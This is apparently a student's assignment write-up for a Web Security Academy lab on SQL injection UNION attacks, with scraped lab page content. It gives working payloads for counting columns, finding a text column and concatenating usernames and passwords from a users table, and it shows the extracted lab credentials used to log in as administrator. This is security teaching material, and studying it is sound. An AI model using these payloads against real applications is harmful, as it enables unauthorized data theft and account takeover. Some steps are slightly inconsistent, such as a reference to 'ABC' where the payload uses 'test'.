

Name: Dushing Komal Yogesh
Class: TY
Division: A
Batch: A3
Roll No.: 65
PRN: 0124UITF1065

Assignment_7

SQL Injection UNION Attack – Retrieving Multiple Values in a Single Column

Aim: The aim of this experiment is to understand how a SQL Injection vulnerability can be exploited using the UNION operator to retrieve multiple pieces of information (such as usernames and passwords) by combining them into a single output column. This lab demonstrates how attackers can access sensitive data when an application does not properly validate user input.

Objective

The objectives of this experiment are:

- To understand the concept of SQL Injection.
- To identify the total number of columns returned by the SQL query.
- To determine which column accepts string (text) values.
- To use the SQL **UNION** operator to retrieve data from another table.
- To combine multiple values into a single output column.
- To retrieve usernames and passwords stored in the users table.
- To log in as the administrator using the extracted credentials.
- To understand the security risks associated with SQL Injection attacks.

Step 1: Understand the Vulnerability

Open any product displayed on the website.

Observe the URL.

Example:

<https://example.web-security-academy.net/filter?category=Pets>

The value of the **category** parameter is inserted directly into a SQL query.

Original query:

```
SELECT * FROM products
```

WHERE category='Pets';

Because the application does not sanitize user input, SQL code can be injected into the parameter.

Web Security Academy > SQL injection > UNION attacks > Lab

Lab: SQL injection UNION attack, retrieving multiple values in a single column

PRACTITIONER LAB ✓ Solved

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables.

The database contains a different table called `users`, with columns called `username` and `password`.

To solve the lab, perform a SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the `administrator` user.

Hint

ACCESS THE LAB

Step 2: Find the Number of Columns

Before using a UNION attack, determine how many columns are returned by the original SQL query. Start with:

' ORDER BY 1—



Gifts' ORDER BY 1--

Refine your search:

[All](#) [Clothing, shoes and accessories](#) [Corporate gifts](#) [Gifts](#) [Pets](#) [Tech gifts](#)

High-End Gift Wrapping

[View details](#)

Snow Delivered To Your Door

[View details](#)

Conversation Controlling Lemon

[View details](#)

Couple's Umbrella

[View details](#)

If the page loads normally, increase the column number.

Next:

' ORDER BY 2—



Gifts' ORDER BY 2--

Refine your search:

All Clothing, shoes and accessories Corporate gifts Gifts Pets Tech gifts

Conversation Controlling Lemon

View details

Couple's Umbrella

View details

High-End Gift Wrapping

View details

Snow Delivered To Your Door

View details

Continue:

' ORDER BY 3—

Suppose the results are:

Payload	Result
ORDER BY 1	Success
ORDER BY 2	Success
ORDER BY 3	Error

This means the query contains 2 columns.

Step 3: Identify the Text Column

Now determine which column accepts text.

Test the first column.

' UNION SELECT 'test',NULL--

If the page displays ABC, then the first column accepts text.



Internal Server Error

Internal Server Error

If not, test the second column.
' UNION SELECT NULL,'test'--
Only one of these payloads will display the text.
Assume the second payload displays ABC.
Therefore, the second column supports string values.

[Home](#) | [My account](#)



Gifts' UNION SELECT NULL,'test'--

Refine your search:

[All](#) [Clothing, shoes and accessories](#) [Corporate gifts](#) [Gifts](#) [Pets](#) [Tech gifts](#)

High-End Gift Wrapping

[View details](#)

Snow Delivered To Your Door

[View details](#)

Conversation Controlling Lemon

[View details](#)

Couple's Umbrella

[View details](#)

test

Step 4: Retrieve Usernames and Passwords

Execute the following payload:

' UNION SELECT username || '~' || password FROM users—

Explanation:

- UNION SELECT combines the injected query with the original query.
- username retrieves usernames.
- password retrieves passwords.
- || concatenates strings.
- '~' separates the values.
- FROM users reads data from the users table.
- -- comments out the remainder of the original SQL query.



Gifts' UNION SELECT NULL, username || '~' || password FROM users--

Refine your search:

[All](#) [Clothing, shoes and accessories](#) [Corporate gifts](#) [Gifts](#) [Pets](#) [Tech gifts](#)

High-End Gift Wrapping

[View details](#)

Couple's Umbrella

[View details](#)

Snow Delivered To Your Door

[View details](#)

carlos~gjzva6bzbnuzir4b2uph

wiener~1ou749n6e3q63yc7y56t

administrator~btdu03sl9fu21y59tr4n

Conversation Controlling Lemon

[View details](#)



SQL injection UNION attack, retrieving multiple values in a single column

LAB Solved

[Back to lab description >>](#)

Congratulations, you solved the lab!

Share your skills!



[Continue learning >>](#)

My Account

Your username is: administrator

Email

[Update email](#)